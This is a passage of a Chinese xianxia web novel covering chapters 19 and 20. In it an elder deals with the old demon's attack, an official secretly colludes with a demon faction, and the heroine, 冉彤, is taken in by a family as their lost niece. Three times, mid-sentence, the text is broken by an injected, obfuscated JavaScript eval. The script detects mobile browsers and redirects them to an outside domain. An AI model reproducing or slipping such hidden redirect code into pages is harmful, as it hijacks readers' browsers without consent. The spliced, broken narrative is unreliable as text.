“依我等愚见,普天之下有这胆子和能耐的只有那万象魔君白子落。他曾和老魔拜过把子,当年虽识时务未曾妨碍正道除恶,但此人野心勃勃,必不肯偏居蛮荒,说不定想借老魔搅浑水,趁乱颠覆人界秩序。” 雪千重问:“那这一年来七曜城有何异动?” 林青尴尬道:“弟子们增派人手严密监视万象魔君及其部从,暂未发现异常。” 一年多没动静,说明老魔不太可能与万象圣尊勾连,林青等人劳师动众没捞到任何有用的情报,考评上只配写“无能”二字。 雪千重仍未责备,平静道:“看来只有等抓到那小丫头才能找出主使者了,你们先加紧办理此事吧。还有,日后发现魔头行踪,即刻报知老身,切忌擅自出战,以免造成无谓的伤亡。” 林青说:“老魔这一年估计都在闭关,弟子们猜测他接下来会去寻找灵骨。” 当年离恨天镇压老魔时拔除了他体内的灵骨,砸碎后分藏各地。寻回灵骨是老魔恢复法力的必须步骤,想除掉他最好去藏骨之地株守。 雪千重认可计划,说:“那灵骨碎片的埋藏地是本门最高机密,老身只能告诉你一人,你在部署行动时须格外谨慎,不得走漏半点风声。” 其余主事听了,赶忙封锁自身感官,待雪千重将讯息告知林青后才解开。 这时一名黑衣长老求见。 “弟子已遣散中咒者,只有一人宁死不愿离去,还说想见老祖。” 林青放话:“老祖身份尊贵,岂是想见就见的,叫人轰走便是。” 雪千重却说:“无妨,带他过来吧。” 那修士很快被抬到议事堂,他只用了五十年便修到臻境,天资聪颖,外表也像个俊朗少年,被恶咒折磨得面无人色,为忍痛将上下唇咬得血肉模糊。 雪千重纡尊降贵来到他跟前,俯身问:“孩子,禁咒不解,你会活活疼死,为何仍不愿走?” 修士汗泪满面地强撑道:“弟子自幼崇敬道祖,憧憬离恨天,是以刻苦修行,指望拜入门下。如今得偿所愿实乃三生之幸。那老魔妄图以邪咒逼我等离心,亵渎道祖和离恨天的威严,弟子死也不能让他得逞。方才见老祖神威降魔,我心已足,恳请您亲手助弟子解脱,望来世还能重登仙途,再入宗门。” 这样道心纯粹的后辈很难得,长老们暗自怜惜,向东来开导:“你有这赤胆忠心足够了,修行不易,你还这么年轻,死了多可惜。还是回家去吧,老夫愿收你做记名弟子,你不在离恨天照样可以弘扬本门道法。” 修士摇头:“弟子若离去,就是向那老魔投降,弟子死也不能辱没离恨天。” 长老们还想劝说,雪千重插话问那修士:“离恨天在你心目中代表什么?” 众人噤声,修士艰难而坚定地答复:“人界的秩序,人族的安定皆系于道祖,离恨天代表道祖的权威,弟子将誓死守卫这份荣耀。” 慷慨陈词令人起敬、动容。 雪千重不动神色地抬手按住他的额头,低沉嗓音显出别样的温柔。 “老身成全你的执着,安心睡吧。” 寒气透掌,修士痛楚尽去,陷入永眠。 雪千重将他的魂魄收入囊中,当众宣布:“此子忠诚可嘉,当向其家族颁授殊荣。老身会亲自温养他的三魂,待他灵力加倍壮大后再送入轮回,助其来世修行顺畅。” 她成人之美,是死者莫大的福气,众弟子齐声谢恩,觉得这修士死得千值万值。 雪千重屏退众人,传令无事勿扰。 主事们分头行动,李景华的小徒孙前来禀报:“弟子们去城内查看过,居民们均未受到滋扰。” 刚才缥缈城内的修士凡人只见总坛被乌云笼罩,前往查看的人都受到不明法阵阻挡,难以靠近,看不到也听不见阵内情况,事后纷纷向前去调查的离恨天门人打听消息。 众弟子十分惊异,那老魔分明是来泄愤的,手段还极其凶残狠辣,那些弱不禁风的凡人正好供其蹂躏,他为何不动手? 恩怨分明,顾惜弱者可不是魔道应有的作风,弟子们不敢高估老魔的人品,私下偷偷犯嘀咕。 小徒孙禀报完后翼翼询问:“师祖,大家都在议论那魔头的来历,他究竟是谁呀?” 李景华恶鹰似的瞪他一眼,警告:“不该问的休问,时机到了自会告诉你们!” 世间事顾头不顾尾总会出乱子,当年他就认为在老魔没死透前不宜对外那样编排他。而今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14353997|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他卷土重来,闹事寻仇还算小,若像从前那般招兵买马,自立为王,把这一千年的舆论翻转过来,漫说他们这些人,纵是道祖恐怕也下不来台。 还以为当上七殿主事算出人头地呢,实际只有背锅操心的份,上头的老祖宗们当甩手掌柜,下面的人又支棱不起,所有麻烦统统往他们几个头上堆。那老魔头初来砸场子便害他折损了金舞鸾,下次再见面就该收他的命了。 李景华越想越不妙,当晚溜回城外的洞府,在密室设下万里传讯阵。 阵法中升起银色光雾,不久浮现一个黑脸壮汉的身影,向他劈面问道:“老李,你找到凤羽花了?” 李景华堆笑:“秦兄未免太高看小弟了,像凤羽花这样的千年仙草岂能轻易找到。小弟正派人加紧搜寻,一有下落便通知秦兄。” “你最好快点,我儿子还等着凤羽花配药呢。” 这壮汉正是“寸草不生”秦不羁。 李景华为人奸狡,热衷交际,在正魔两道积攒了不少人脉,与七曜城的老魔们眉来眼去已久。利用秦不羁救子心切这点,多次赠送他珍贵药材,一来二去混成熟人,交情非一般的铁。 秦不羁知道李景华另有要事,开门见山道:“你找我作甚?是不是有谁得罪了你,报上名来,我去替你做掉。” 他不是第一次替李景华杀人,对象都是些后者不方便亲自出手的正道修士。 魔修通常只分爱憎好恶,不管道德伦理。投缘投契的,仇人之后也能相亲相爱。憎恨反感的,骨肉师长照杀不误。 李景华苦笑:“小弟倒是有心劳驾秦兄,可这次对头爪子太硬,不能害你去送死。” 秦不羁不悦,以牙还牙调侃:“哦?你莫不是得罪了离恨天某位太上长老?那秦某确实爱莫能助。那些老东西又阴又毒,你不如趁早另觅枝头,若想投奔我们七曜城,秦某倒可以帮你在我们君上面前说说好话。” “秦兄说笑了,小弟前句话绝无讥讽之意。今天有个老魔头来我缥缈城总坛滋事,直闹的鸡飞狗跳,人仰马翻,我们几个主事逐一败下阵来,若非千重老祖来得及时,你我大概人鬼殊途了。” 秦不羁万分好奇:“什么人有这本事?” 他了解李景华等七殿主事的实力,虽比不上他们“十柱石”,在修真界也算中上游,看守门户绰绰有余。 况且当今之世还有哪方魔道势力比得过七曜城,敢堂而皇之袭击离恨天总坛?难道…… “你就别卖关子了,快说是谁!” “唉,那人的名字说出来都是罪过。” 李景华伸出食指凭空写了两个字。 秦不羁大吃一惊,再开口竟结巴了。 “那老鬼终于现身了,我就说他憋不了多久定会出来生事。老李,你真够意思,我得赶快禀报君上。” 李景华早料到白子落也在关注老魔动向,叫住秦不羁:“秦兄莫急,且听小弟把话说完。今日千重老祖向我等训话,她怀疑那魔头和万象圣尊仍有往来,甚至推测就是你家主公协助老魔出逃的。” 秦不羁大怒:“呸!老娘们是想借故生事吧,那老鬼无情无义,我主早与之恩断义绝,他若敢在七曜城出现,我老秦第一个与他拼命!” 李景华假意劝说:“那魔头老谋深算,天知道他还藏了多少后招,这才一年就恢复了三成法力,若被他寻回灵骨,重拾往日的威风,还不闹个天翻地覆?” 秦不羁知道这话半点不夸张,他比李景华更了解老魔,全盛时期的他称霸修真界,跟他交手能留下全尸都算能耐。 他人粗心不粗,已明白李景华告密的用意,直白表态:“老鬼不除也将是我主的心腹大患,往后七曜城会与你共享讯息,我们两边联手,总能治死他。” 有七曜城做外援,李景华心里踏实多了,起码往后被宗门派去当马前卒时还能拉秦不羁垫垫背。最理想的结果是先让老魔和白子落来个鹬蚌相争,那两大魔头谁能咬死谁,还真让人期待呢。 冬去春来,冉彤在百花州流浪三个多月后来到首府德康城。 这里人口稠密,幅员宽广,她混迹其中如同沧海一粟,路遇盘查的概率大大降低了。 在客栈住了几日,她外出租房子,逛了几条街来到一座热闹的市集,突然接收到奇特的感应。 不远处有灵力在与她的内丹共鸣! 如今她的修为还不入流,反应之敏捷已磨炼到了超一流水准,瞬间精准完成推理。 是当初输入蓝衣老魔体内的那一缕天罡真雷,那魔头就在附近! 上次在青龙沟,她万幸在老魔现身前封闭了神识,若当时与之产生感应,她铁定活不成。 她断定老魔也已察觉,急忙隔绝神识,逃跑行不通,只能就地躲藏,忙去一旁卖胭脂水粉的商摊前坐下,假装挑选货品。又借试妆取出映真镜代替双眼,偷窥身后的人流。 少时那高大挺拔的蓝色身影闯入镜框,老魔站在人群中真似鹤立鸡群,美得过分,然而冉彤无心饱眼福,早唬得心肝乱颤,一股股凉气直往骨头缝里钻。 她拼命祝祷老魔快些离开,谁知适得其反,那魔头环顾一番后,凝神看向这边,接着不疾不徐朝她走来。 19.认亲 冉彤每次跨越恐惧顶点就变得比一般情况下更沉着冷静,抱着向死而生的心态稳坐不动。 女摊主也注意到来到近处的老魔,转头打量他。 冉彤暗想这大姐是见过世面的,看到老魔这样的绝世美男还反应平淡。 “姑娘,打扰一下。” 身后响起陌生而苍老的老头音,冉彤转身抬头,本该是老魔出现的位置却站着一个苍颜白发,文士打扮的古稀老翁,干巴巴,瘦津津,从头到脚平平无奇,属于看过就忘的类型。 冉彤确定此人就是老魔,心想:这老魔头也是逃犯,大庭广众下自然要易容,若没有映真镜,刚才我还认不出他。 她不能让他瞧出破绽,机敏地进行反向操作,冷傲地睨着他:“有事吗?” 老魔没看穿她的真容,只认得她是当日青龙沟隐居的女散修,想来试探她是否与离恨天接触过,和蔼道:“姑娘可是从荣县过来的?” 冉彤逃离青龙沟时曾路经荣县,她猜到老头在试探“青龙沟”的事,更装出不耐烦的样子:“管你什么事呀?少在这儿套近乎。” 摊主怕坏了生意,帮她抢白老魔:“老先生,我这儿只卖女人家的用品,你若不买就赶紧走,别瞧着这位姑娘貌美随便搭讪,人老了更该放尊重。” 说完哄冉彤:“姑娘别理这老货,花儿开得太艳难免会招几只苍蝇的。” 冉彤心里战兢兢,面上笑嘻嘻:“没什么,我早习惯了。就怕擦了你家的胭脂水粉,更要被骚扰。” 说罢同摊主旁若无人嬉笑。 老魔未曾受过如此挤兑,他修的道法最会将心比心,承认是自己行为造次,看这小姑娘的反应不像受过离恨天拷问,萍聚一场,能相安无事了结因果再好不过。 他道声“失礼”,泰然离去。 冉彤悄悄用“映真镜”照他,那潇洒英挺的背影渐渐隐没于人群中,她几乎绷断的心弦总算松弛了,随便买下两盒胭脂后撤退。 刚走出几步,迎面奔来一个华服玉冠的美公子,猛然抓住她的手急叫:“表妹!可找到你了!” 冉彤吃惊打量他一眼,继而注意到他带来的随从,其中两个似曾相识。 想起来了,我刚到德康时这个胖子曾找我问路,前天去钱庄换钱时这瘦子在一旁盯着我看,还吃了我一记白眼。 当时以为二人见色起意,原来另有蹊跷。 她甩开公子,嗔怪:“做什么?我不认识你!” 公子急红了眼,拦住她叫嚷:“羽珞表妹,我是你的表哥黎申啊!你好好看看,真不认得我了?” 他肌理如玉,印堂隐隐透光,是个有资历的修仙者。 老魔未走远,冉彤不敢开放神识,瞧不出这公子的修为。 她只想尽快脱身,厉色呵斥:“哪儿来的登徒子,光天化日乱认亲戚,想非礼本姑娘吗?还不让开!” 繁华市集上任何一点纠纷都很显眼。 周围不少人停步观望,负责维持治安的凡人官差过来查看,那领头的校尉本来耀武耀威,见到公子后立即变脸,俯首帖耳上前请安。 “是小黎仙师啊,小的给您请安了。” 见此情形,冉彤判断这公子来自德康城内的修真大族,出生很正经。 可正道门派坏起来比魔道还黑,她上过大当,绝不能掉以轻心,冲那校尉说:“你们这儿修士能任意为非作歹吗?我好端端在路上走,被这登徒子骚扰纠缠,你快去找管事的来!” 十州内每座城市都有管理修士的机构,一般由离恨天派人主持,禁止修真者们在城内寻衅滋事,扰乱治安,越重要的城市治理越严。 校尉听了未敢妄动,瞅着黎公子犯难。 黎公子解释:“这姑娘是我表妹周羽珞,南郡周家的大小姐,你们应该知道的。” 他言之凿凿,官差们了然响应,冉彤回过神了。 周羽珞大约是这张人皮的主人,这黎公子看不破伪装,把我错当成她了。 她生吞蜈蚣,百爪挠心,立定主意不接茬,大声否认:“谁是周羽珞?我不知道你在说什么!” 黎公子眉间的川字挤得更深更长,过度急躁下表情趋向凶蛮。 “表妹,你是不是失忆了?这五年我们到处找你,我爹娘担心极了,你快跟我回家!” 他再次捏住冉彤手腕要用强,冉彤顾忌老魔,不能施法反抗,琢磨用哪件法宝脱身,黎公子和随从突然被怪力震飞,摔了个四仰八叉。 冉彤正使劲挣扎,黎公子一撒手,她来不及撤力,向后倒跌几步,被另一股力道轻轻扶住腰身,牢牢站稳。 她回头查看,惊讶登时变惊恐,老魔幻化的老头儿立在身后,刚刚出手的人就是他。 黎公子也认准袭击者,恼怒地做法还击,恶念一起灵力顿时被封锁。 “公子,这老头儿看起来不好惹啊。” 随从们也着了道,暗中提醒主人。 黎公子使尽解数动弹不得,再打量那蓝衣老头儿,竟看不透他的修为,方知遇上了能人,赶紧服软行礼。 “前辈是何方神圣,还请赐教。” 老魔在厘清情况前语气还算温和,先问冉彤:“姑娘,你真不认识此人?” 大杀星出现,冉彤不敢过分嘴硬了。 黎公子的话很可能是真的,她硬要否认,引得老魔深入探究,八成会揭穿她的身份。 “我、我现在是不认识他……” “嗯?” “……我不记得以前的事了。” 她觉得还是“失忆”这借口最稳便,支吾着承认了。 黎公子欣喜埋怨:“表妹,你果然失忆了,我就说你不会无缘无故失踪。” 旁观者看来事情已然明朗,老魔还不放心,他习惯好人做到底,对黎公子说:“你要认亲也得拿出确凿凭证,这姑娘记忆丧失,容易受骗,理当谨慎些。” 冉彤思忖:看不出这魔头还挺热心。 将计就计斥责黎公子:“对啊,我现在最怕被人骗,不能你说什么我就信什么!” 黎公子隐忍着向老魔申辩:“我黎家在这德康城也算小有名气,岂会做坑蒙拐骗之事?请前辈随我去见赵开元长老,他是城中主事,熟知黎周两家情况,定会向您说明原委。” 跟离恨天的人接触容易惹麻烦,老魔淡定道:“不用费时,老夫自会查明。” 他分出一缕元神飞去两千里外的南郡,逮住几个长期在城内居住的妖精盘问周家之事,调查清楚后元神归位。 行动时路旁一个小孩刚拿着烧饼开吃,到他回来才咬了两口,其他人只见老魔稍作沉默,打死想不到他的神通手段。 “姑娘,五年前你全家遭人灭门,你连这事也不记得了吗?” 冉彤惊诧,想不到周羽珞有过此种经历,更想不到老魔能于瞬息间查明她的背景。 黎公子也惊异于老魔的本事,表情比之前更忐忑,小心问:“前辈怎知我姑母家的惨案?” “刚刚去南郡打听了一下。” 老魔确认了双方的关系,对冉彤说:“你的确是周家大小姐,这黎公子没骗你。他不止是你表哥,也是你的未婚夫,你可安心随他去。” 冉彤又踩中一只铁蒺藜,试图耍赖周旋。 “前辈态度转变如此之快,莫不是暗中跟他做了交易?编些假话来诓我。” 她一心不能二用,说完才发觉不对劲。 这魔头今天不止热心,耐心也出奇的好,往常杀人如麻,这会儿竟跑来管这芝麻蒜皮大的闲事,难不成吃饱了撑的? 还是对周羽珞的美色感兴趣吧,活了上千岁仍是个老色坯,我呸! 老魔能看破天地自然的奥义,唯独窥不破人心,哪晓得冉彤在恶意揣摩他,还认为这小姑娘的警惕心并不像他当初估量的那么差,替她安心,平和道:“老夫略懂医术,或许能帮你恢复记忆。” 冉彤还不想死,怎能接触他的灵力,急忙躲避:“你还没说来历就敢给人治病,我才没那么傻呢!” 黎公子顺势挡住她,向老魔拱手道:“多谢前辈美意,但表妹失忆的原因尚未弄清,晚辈想先带她回家,就不劳烦您了。” 说完回头问冉彤:“表妹,你几时失忆的?” 冉彤机智地挑选最佳答案:“大概是三个月前,我在树林里醒来,就把过去的事全忘光了。” 她推测老魔如此在意她的另一个原因是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冉彤听说周羽珞性格单纯,更多了心眼,定要试出真假,故意当面拆穿他。 “你这么牵肠挂肚,知道我在哪儿肯定立刻飞奔过去,对吧?” 黎申猛点头:“所以刚才在街上我一见到你就忍不住欣喜失态,才会被你当成坏人。” 冉彤扬起下巴说:“不对呀,这次我来德康以后你两个手下假装陌生人接近我,他们当时肯定认出我了,也肯定第一时间向你报讯,为何不见你马上来找我?你是不是早看出我失忆了?想试试我还记得多少从前的事?” 连续三个反问将黎申从目瞪口呆逼至神色不定,无奈苦笑:“表妹如此见疑叫我该从何说起?唉,这五年为寻你,我家遇上不少骗子,劳命破财不算,最难过的是起初满怀希望,结果总以失望收场。那日他们说在城里看到与你长得一模一样的女子,可又不确定是否是你,我怕又像前几回那样空欢喜,叫他们认准了再回报。你若当成对你的试探也使得,老实说上了那么多当,就算遇上真的你我也不敢第一时间相认了。” 他神色凄婉地辩解着,说到后来眼角泛红,含着泪冲她微笑:“不管怎么说,今天能找到你就是天大的喜事,你此刻疑我防我都不要紧,我自会用行动证明,我真是你在这世间最亲最可信赖的依靠。” 冉彤因他的情态联想到云宿雨,心里堵得慌。目前掌握的信息太少,再问恐露马脚,于是不置可否地轻哼一声,不再理睬他。 黎申反过来询问:“表妹之前是否认识方才那位前辈?” 冉彤分析他提问的动机,聪明应答:“哦,遇到你之前我在街边的商摊上买东西,那老头儿忽然跑来搭讪,被我数落一通,灰溜溜走开了。我也没想到他会去而复返。” “他为何找你搭讪?” “不知道,摊主说他可能见我长得漂亮,想占我便宜,但愿别被他缠上,不然太恶心了。” 冉彤知道黎申忌惮老魔,存心让他误会老魔对她有企图,这样自己便多了一分保障。 黎申讪笑:“表妹从小姿容出众,常有不轨之徒觊觎。放心,往后表哥会用心保护你,绝不让你受欺负。” 他的反应很不正常,冉彤好歹跟云宿雨谈情说爱三两年,明白情侣间的相处模式。 假如云宿雨听说她被好色之徒骚扰,定会愤怒难平,先抚慰她一番,然后不管那人是何身份,有多厉害,都会当场去讨伐他。 哪像这黎申毫无愤慨之情,没有半句安慰斥责,只会拿空话糊弄人。 他对周羽珞没真心,起码不像口头上那么爱她。 20.看书 黎府背靠德康城三大灵脉之一的黑水河,占地二十多亩,房舍庭院修筑得富丽堂皇。 冉彤看到镶满金钉,嵌着狮虎兽首的纯铜大门,便断定黎家根基浅薄,是近一两代才发迹的。 修仙练体魄更练心境,大修士们无不品味卓绝,超凡脱俗。传承悠久的修真家族早形成高雅的审美情趣,日常生活中摒弃奢靡,崇尚清淡、精致、雅洁。 冉彤小时候喜欢珠光宝气的物件总被母亲批评庸俗,若是哪个修真世家的子弟将住宅建造得金碧辉煌,准会在亲友中沦为笑谈。 这黎家一副暴发户德行,家主想是半路出家,没什么底蕴。 冉彤来到正堂,一对中年夫妇热情相迎。 “羽珞,可算见着你了。” “外甥女,你让我们找得好苦啊。” 这二人便是黎家的家主和主母。 冉彤想老魔应该去远了,开启神识观察。 黎家主是化境中期修为,黎夫人是凡人,看外表大约三十来岁,徐娘半老,颇有韵味,对她的那份亲热劲瞧着像演出来的,做作极了。 她装失忆,草草行了个礼,也不招呼人。 黎申对黎家主说:“爹,表妹三个月前失忆了,说她不认得我们任何人。” 黎家主忧心道:“我听他们说了,羽珞,先让舅舅帮你检查一下。” 冉彤警惕道:“你想怎么检查?” 黎家主笑着安抚:“只是看看你的神魂是否完好,放心,舅舅还会害你吗?” 反抗定会令其生疑,冉彤悄悄启动冉家特有的护元法,防止遭暗算。 黎家主没查出毛病,沉吟:“这孩子境界掉得厉害,但神魂完好,不像受创造成的。” 周羽珞已到臻境修为,神魂强壮,照理说没受到严重伤害是不会失忆的。 黎申说:“可她确实不认得我们了啊。” 黎夫人笑问冉彤:“外甥女,你该不会在跟我们开玩笑吧?” 冉彤明白她这是替丈夫儿子质疑她,即刻黑脸:“谁有闲心跟你们开玩笑?我看最大的可能就是你们认错人了,我不是什么周羽珞。告辞!” 黎申匆忙拦住她,笑哄:“表妹莫急,我们是你的亲人,绝不会认错你的气息。我娘不懂修真界的事,说错话你别见怪。” 冉彤揪住这点刁难:“我正奇怪呢,你已是臻境修士,少说活了八九十年,怎会有个三十来岁的凡人娘亲?莫非她是你后妈?” 众人尴尬,黎夫人颜面扫地,再难装贤惠,找借口躲开了。 黎家主向冉彤解释:“你亲舅妈过世多年,这个是我二十年前娶来的续弦夫人,她不曾修行,也没见识,你不爱听她说话以后别理她便是。” 修真者要么独身,要么一生一世一双人,这在魔道都是普遍现象,道侣死后还梅开二度的都不是什么正经人。 冉彤决定将一种态度贯彻到底,冷淡道:“谁管你们家的事啊,我现在只想保平安,如果我真是周羽珞,爹妈都死了,那在这世上也没什么可留恋的人了,你们是不是我的亲戚完全不重要,我只会把你们当陌生人对待。” 黎家主让儿子别着急说话,看冉彤的表情加倍慈祥:“你这么想情有可原,我们自会尽量包容。说到你父母,当初你可是亲眼见到你家被恶人灭门的,真的一点印象都没有?” 冉彤烦躁:“我连自己是谁都忘了,哪儿会记得这些?” 这时应适当表示出好奇,于是接着问:“你们知道是谁杀了我爹娘?” 黎家主与黎申交换眼神,取出一颗葡萄大的宝珠。 “这是设置在你家中的留影珠,记录了案发时的景象,你来看看是否能想起什么。” 他施术激活宝珠,珠子膨胀数十倍,荧光闪烁,内部呈现一幕幕动态画面。 漆黑的雨夜,几个戴怪兽面具的黑衣人潜入周宅,见人便杀。 周家家主奋力反抗,最终寡不敌众,遭围攻致死。 周羽珞身受重伤,在其母掩护下逃离现场。 余下的周家人全部遇害,黑衣人入室大肆搜刮财物后四处纵火,一系列惨景在熊熊火光中落幕。 冉彤专心致志观看留影珠,她知道黎家父子也在专心鉴定她的反应,故而双眉紧皱,神情紧张,尽量演得真情实感,看完后急切发问:“这些黑衣人是谁啊?为何杀我全家?” 黎家主凝重道:“这些人来路不明,我们追查五年仍无头绪,原想找到你以后会有线索,谁知……唉……” 黎申靠近冉彤,动情道:“案发后你便失踪了,大家都说你难逃毒手,已遭歹人所害。我和爹却始终认为你还活着,坚持不断寻找,你能平安归来实乃不幸中的万幸。” 他表现得再心疼也攻不破冉彤的戒心,寻思:“周羽珞是被‘飙霆刺’所杀,遇害时间约摸就在周家的灭门之夜。我跟她非亲非故,只是借她皮囊一用,最好别涉足她家的凶案。” 她故作沉思一会儿,郁闷道:“我还是一点都想不起来,被你们这一折腾头都疼了,快给我安排住的地方,我要休息。” 黎申忙说:“房间都给你收拾好了,就在你最喜欢的滴翠苑。” 门外一个脆生生的女声接话:“申哥哥,我在滴翠苑住得好好的,凭什么给人腾地方呀。” 冉彤神识去得比视线快,见说话的是个样貌娇俏,身段窈窕的女郎,修为在净境后期,怎么着也得五六十岁了,情态还宛若少女,走起路来腰肢款摆,活像一条妖娆的水蛇。 黎申赶在女子进门前略显难堪地向冉彤交代:“这是吴嫣然妹妹,也是你的旧相识。” 吴嫣然姗姗而来,瞧见冉彤后眼睛像出鞘的刀子曝露敌意,生硬假笑:“羽珞姐姐,我听他们说你回来了,还不相信,原来真是你呀,这可太好了,看你平安无事,妹妹我也安心了。” 冉彤看出这女子和周羽珞不对付,反正要装冷淡,正好不理睬。 黎家主介绍:“嫣然的父亲是我和你爹的结义弟兄,你们姐妹从前很要好,今后也要和睦相处。” 转而劝说吴嫣然:“侄女,你羽珞姐姐失忆了,她以前在滴翠苑住惯了,回到那边或许能帮助她恢复记忆,就委屈你挪个地方,家里这么大,随便你想住哪儿都行。” 客随主便,吴嫣然勉强答应了,过来拉住冉彤的手假惺惺关怀:“姐姐连遭不幸,真叫妹妹心疼,快说说你在外面的情形,妹妹好奇得不得了呢。” 冉彤很讨厌她说话的腔调表情,像涮了彩漆的烂泥,瞧着花哨,沾上恶心。不轻不重抽回手,冷嗤:“不好意思,我如今跟你不熟,别这么腻腻歪歪的。” 吴嫣然受了埋汰跟着变脸,黎申忙打圆场:“嫣然妹妹,我表妹真失忆了,需要时间适应这些变化,你多让着她点,算我求你行吗?” 吴嫣然大声娇哼着侧过身去,冉彤不想生事,催黎申带她去客房。 那滴翠苑是黎府南边一座小花园。景致比别处清幽,房舍小巧精致,室内铺设华丽。 案上摆着妆花白玉瓶,墙角立着珊瑚玛瑙树,黄金炉内兰桂喷香,鲛人帐上花团锦簇,住在这儿生活堪比神仙,难怪那吴嫣然不愿相让。 冉彤东躲西藏一年多,难得有了舒适的落脚地,便随遇而安地先受用了再说。 原想住一夜就找机会开溜,稍后发现黎家对她看管极严,走到哪儿都有婢女跟随,想用飞行术跑路,立马被人拦截。 黎家养了很多看家护院的修士,修为还都不低,足够监视她。 “表妹这是要去哪儿?我陪你。” 收到通报,黎申快速赶来,名为陪伴,实为监控,找尽理由不让冉彤落单。 冉彤处境不利,太早翻脸没好处,“任性使气”数落他:“你当我是囚犯吗?成天跟着烦不烦!?” 黎申照旧赔笑脸:“我怕你再出意外,守着你才安心。这城里好玩的地方不少,表哥这几天不干别的,专心陪你游遍附近风景名胜,顺便找找过去的记忆,可好?” 冉彤逃不掉,去哪儿都不安泰,逛了半天,决定回住处想对策。 “今天玩累了,想回屋歇着,你另外给我找点消遣吧。” “表妹想要什么消遣?” “……给我找几本好玩的书看看。” “你想看什么书?” “你给推荐几本有意思的呗。” 黎申略一思索,笑道:“你以前最喜欢看紫烟散人的小说,我这里还有几本,要看吗?” 冉彤没料到周羽珞连喜好都与她一致,意外之余顿感惋惜。 就目前收集到的信息分析,这是个有趣可爱的女子,若是活着相逢,八成能做我的知心朋友。 少时黎申取来几本紫烟散人的小说,冉彤见里面竟有《云影仙踪记》上下册,不禁暗喜。 黎申说:“紫烟散人正被离恨天通缉,写的小说全被列为禁书,咱们只能偷着看。” 冉彤嘲讽:“这里是你家,你那些手下又不会偷窥告密,有什么好怕的。” 黎申顺着她的话奉承,让她先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375369|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑一本感兴趣的。 冉彤细心思量:紫烟散人的书得由持有者用特定的咒语打开,我不能让他发现我知道这个规则。 她随手拿起一本书质问:“这么薄的书,最多四五百字,想来没什么看头啊。” 黎申见她不懂阅读方法,方才说明:“此书非同凡品,须用咒语解封。你挑一本,我演示给你看。” 冉彤指一指《云影仙踪迹》上册:“这书名很特别,就它吧。” 她很想直接看下册,稳妥起见还是先从上册开始更符合常理。 黎申开启小说,室内声光闪耀,好戏登场。 冉彤假装赞叹几句,认真重温这个精彩的故事。 与现实中的蓝衣老魔接触后,她再看长嬴法师,感受变得相当复杂。 要是他真像长嬴法师该多好……不过仔细想想,他不发疯杀人的时候言谈举止和长嬴法师一模一样,都那么雍容和雅,平易近人。 上次看书时只顾花痴长嬴法师的风度仪容,看漏了一些细节。 此番细致考究,长嬴法师的眼瞳还真是深蓝色的,两边下颌骨和耳垂接壤处各有一颗小黑痣,这点也与蓝衣老魔一致。 紫烟散人一定很熟悉老魔,才能如实还原他的相貌特征。离恨天真没冤枉他,他就是老魔的拥趸,写书美化老魔,蛊惑人心。 一个时辰后他们开始看下册,冉彤比刚才更专心,这本内容新鲜,看后说不定能增加对老魔的了解,将来用得上。 下册长嬴法师更喧宾夺主占据了大半戏份,他因为救助受恶势力压迫的广大凡人和好妖怪们,被邪恶集团视做眼中钉。 反派们派遣一名绝世美女前去迷惑他,这美女成功骗取法师信任,在血月来临之夜伙同群小偷袭法师。当法师觉察美女的恶意时已身受重伤,困于重围…… 故事发展到这里,上演了全书最惊悚的情节。 美女用巨剑刺穿长嬴法师的胸膛,将他高挂于半空,而后发动万剑诀,一剑接一剑细碎凌迟。 血肉横飞,画面被染成赤红,长嬴法师忍着剧痛,不断愤怒质问那心如蛇蝎的美女:“为什么,为什么会这样!?” 痛心疾首的咆哮仿佛一阵哀怨的冷风灌进冉彤肺腑,她懂他的感受,被至亲至爱之人背叛伤害有多痛苦,她每分每毫都感同身受。 强烈的共情令她心如刀绞,不忍再看那残酷场景,闭眼前一刻泪水夺眶。 老魔刚脱困时曾提到过一个谋害他的女人,莫非就是这段剧情的原形? 以他的能耐,只有付出过真情,全心信赖,且对对方疏于防范才会落到那样的惨败,被封印前的他究竟经历了什么呢? 冉彤依然惧怕讨厌老魔,却因这段情节带动的遐想,对他产生了极大同情,相似的遭遇又让这份同情越发深刻,她的心被揪起,实实在在为他作痛了。 见她低声抽泣,黎申只当她入戏太深,调侃:“表妹还像从前那么心软,看个小说也会感动落泪,这点真不像修真者。” 只要符合周羽珞的习性就无妨,冉彤擤了把鼻涕,重拾冷淡。 “这故事太憋屈我不想看了,你走吧,让我一个人静会儿。” 黎申走后,冉彤能尽情流泪了,爬在床上,脸埋进枕头里狠狠哭泣,借同情老魔自艾自怜。 如果小说里的情节是真实的,那老鬼在被封印的一千年里不止痛苦还很孤独吧,没有人知晓他的冤屈,在意他的感受,就像没有人在意我和爹娘的死活…… 她假设时光倒流回到和老魔初见那一刻,她将会在他怨愤挣扎时轻轻拍拍他的肩头,甚至用力抱一抱他,告诉他:“你受苦了。” 安慰他就如同安慰自己。 她放任泛滥的情感淹没意识,用眼泪洗刷伤痛,伤口并未愈合,藏在厚厚的血痂里,碰到方知疼痛如昨。 